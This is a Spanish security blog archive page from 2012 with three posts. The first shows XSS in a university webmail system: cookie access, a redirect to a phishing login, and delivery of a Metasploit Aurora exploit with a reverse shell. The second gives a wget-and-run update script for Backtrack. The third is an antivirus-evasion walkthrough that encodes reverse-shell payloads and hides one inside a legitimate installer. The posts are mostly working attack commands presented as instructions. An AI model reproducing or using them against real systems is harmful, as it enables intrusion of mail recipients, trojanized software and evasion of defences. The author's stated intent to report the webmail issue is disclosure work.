martes, 14 de agosto de 2012

Los peligros de un XSS - Un ejemplo universitario


  Hay muchas ocasiones en las que por el bien de los usuarios se les ofrecen funcionalidades sin llegar a caer en la cuenta de que estas pueden acabar siendo un peligro para ellos.

  Ha sido cuando leyendo este genial post de @Kodeinfect llamado Combinando ataques: XSS + Metasploit me ha venido a la cabeza escribir una entrada sobre una "curiosidad" que encontré recientemente en el correo interno de la universidad, el cual permite incrustar fragmentos de texto en html y javascript, he aquí el peligro.


 Esto da al usuario la oportunidad de aplicar cierto formato al texto mediante html o javascript, pero tambien da a un atacante malintencionado la posibilidad de realizar ataques mediante XSS, siendo la víctima el receptor del correo electrónico.

 Vamos a ver tres ejemplos prácticos de ataques que podría llegar a realizar una "mala persona" o alguien aburrido:

 El primero de estos es el robo de cookies, para ello basta con componer un mensaje y añadir el código javascript para que muestre la cookie, en este caso se utilizará un "alert" por comodidad:
Las únicas peculiaridades han sido habilitar la opción Toggle HTML Source y añadir el siguiente fragmento de código al cuerpo del mensaje:
<script language="javascript" type="text/javascript">
alert(document.cookie);
</script>
 Lo mas interesante de esto es que la victima no verá el código javascript ejecutado en el cuerpo del mensaje a no ser que escoja responder al mensaje y marque la opcion Toggle HTML Source.


  Otra opción interesante es redirigir a la victima a una ventana de login como si el usuario hubiera perdido la conexión por un fallo del servidor, pero con la peculiaridad que esta está en un servidor bajo nuestro control, para ello basta un pequeño fragmento de codigo incrustado en el mensaje:
<script language="javascript" type="text/javascript">
document.location="direccion de nuestro servidor";
</script>


  Por último es posible hacer algo mucho mas peligroso como lanzar exploits en la máquina del inocente receptor, para ello Metasploit como en otras ocasiones será un gran aliado.
  Se utiliza como exploit ms10_002_aurora y como payload una shell inversa:

use exploit/windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
A continuación hay que configurar el el puerto y la ip a la que se ejecutara el exploit:

set SRVPORT 80
set LHOST  192.168.1.40
Y por último lanzarlo:

exploit
Una vez este listo Metasploit el contenido del correo es el siguiente:
<script language="javascript" type="text/javascript">
document.location="direccion de nuestro servidor";
</script>
 donde la información que acompaña a document.location nos la proporciona metasploit al iniciar el servidor.
ya solo queda esperar a que la víctima lea el correo para que Metasploit haga la magia:


  La situación en la que el receptor abre el correo y es ejecutado de forma transparente en su navegador un código javascript es muy peligroso, mas que nada si el receptor no tiene conocimientos informáticos o si este es un profesor y lo que el robo de sus datos implicaría. Además el hecho de poder añadir al cuerpo del mensaje cualquier texto permite realizar ataques de ingeniería social muy peligrosos, ya que el receptor seguramente no prestará atención al código javascript embebido puesto que este no se le mostrará.

 Como aclaración respecto al contenido del post, informaré sobre esta "vulnerabilidad" cuando el post sea publicado, aunque no la considero así, ya que si el editor de mensajes aporta la la opción de añadir fragmentos de html/javascript, considero esto más como una funcionalidad extra que puede usarse "mal" que como una vulnerabilidad propiamente dicha.

En fin, nos leemos en breve ;)


5 0verl0ad Labs: agosto 2012   Hay muchas ocasiones en las que por el bien de los usuarios se les ofrecen funcionalidades sin ll...

miércoles, 8 de agosto de 2012

Backtrack 5 a la última

  Backtrack 5 es una distribución GNU/Linux basada en Ubuntu, pero para su actualización no basta con un "apt-get update && apt-get upgrade". Esto es debido a que muchos de sus programas como el famoso Metasploit no se actualizan a la última versión mediante los repositorios, sino que lo hacen mediante Subversion o similares.

  Para tener esta distribución a la última existen numerosos scripts que nos hacen mas fácil el trabajo, pero a mi el que mas me ha gustado es el que podemos encontrar en
http://bl4ck5w4n.tk/?p=44
  Dicho script esta en python y su instalación es simple:
wget http://bl4ck5w4n.tk/wp-content/uploads/2011/07/bt5up.tar
tar -xvf bt5up.tar
python bt5up.py


Una vez hayamos lanzado el script veremos un menú como el siguiente:

  Entre sus opciones vemos que nos permite o actualizar el sistema completamente o ir adentrándonos en sus menús para actualizar las aplicaciones que nos interesen por separado.


 En resumen, es un gran script que nos permitirá de forma fácil tener nuestro sistema al día, ya sea una en una instalación limpia o manteniendo nuestro SO actualizado.
5 0verl0ad Labs: agosto 2012   Backtrack 5 es una distribución GNU/Linux basada en Ubuntu, pero para su actualización no basta co...

viernes, 3 de agosto de 2012

Evadiendo antivirus con metasploit - Parte 2

  En la anterior entrada empezamos a conocer algunas de las posibilidades de msfencode a la hora de eludir antivirus. En este post se mostrarán las posibilidades más avanzadas de esta herramienta.

  En la anterior entrada aplicábamos un algoritmo de codificación para eludir antivirus, ahora lo que haremos será aplicar varios algoritmos encadenados sobre el mismo payload.
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.37 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -c 7 -t raw | msfencode -e x86/alpha_upper -c 7 -t raw | msfencode -e x86/shikata_ga_nai -c 7 -t raw | msfencode -e x86/countdown -c 7 -t exe -o multipay.exe
  Vemos que la forma de aplicar el cifrado múltiple es concadenando los diversos algoritmos mediante tuberías (pipes).
  También aparece un parámetro no comentado hasta ahora, es la opción -c que nos permite aplicar diversas pasadas de un algoritmo sobre el payload objetivo.
 Después al subir el payload a virustotal veremos que el indice de detecciones no ha variado respecto al realizado en el post anterior, aunque, si vemos la lista de antivirus que detectan nuestro payload hay algunos cambios, como por ejemplo, en este caso se elude el AV McAfee que en anteriores ocasiones nos detectaba.

 La última opción que veremos es a la vez la mas potente, y es que msfencode nos permite "mezclar" nuestro payload con otro ejecutable de Windows obteniendo interesantes resultados. Para el ejemplo utilizaremos el programa Recuva (he usado este por usar uno cualquiera, no tiene ningún motivo especial su uso ;) ):
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.37 LPORT=31337 R | msfencode -t exe -x /root/Desktop/rcsetup143.exe -e x86/shikata_ga_nai -c 10 -o payX.exe
 El parámetro nuevo que vemos es -x al que le sigue la ruta del ejecutable al que "agregaremos" nuestro payload.
 Al subirlo a virustotal veremos que el indice de detección ha bajado considerablemente, y ahora AV conocidos como Panda no detectan el payload.


  Con esta herramienta vemos lo relativamente fácil que es eludir los antivirus, y que con la ayuda de virustotal es posible realizar las pruebas que necesitemos sin tener ningún AV instalado.

Nos leemos en breve,


5 0verl0ad Labs: agosto 2012   En la anterior entrada empezamos a conocer algunas de las posibilidades de msfencode a la hora d...
< >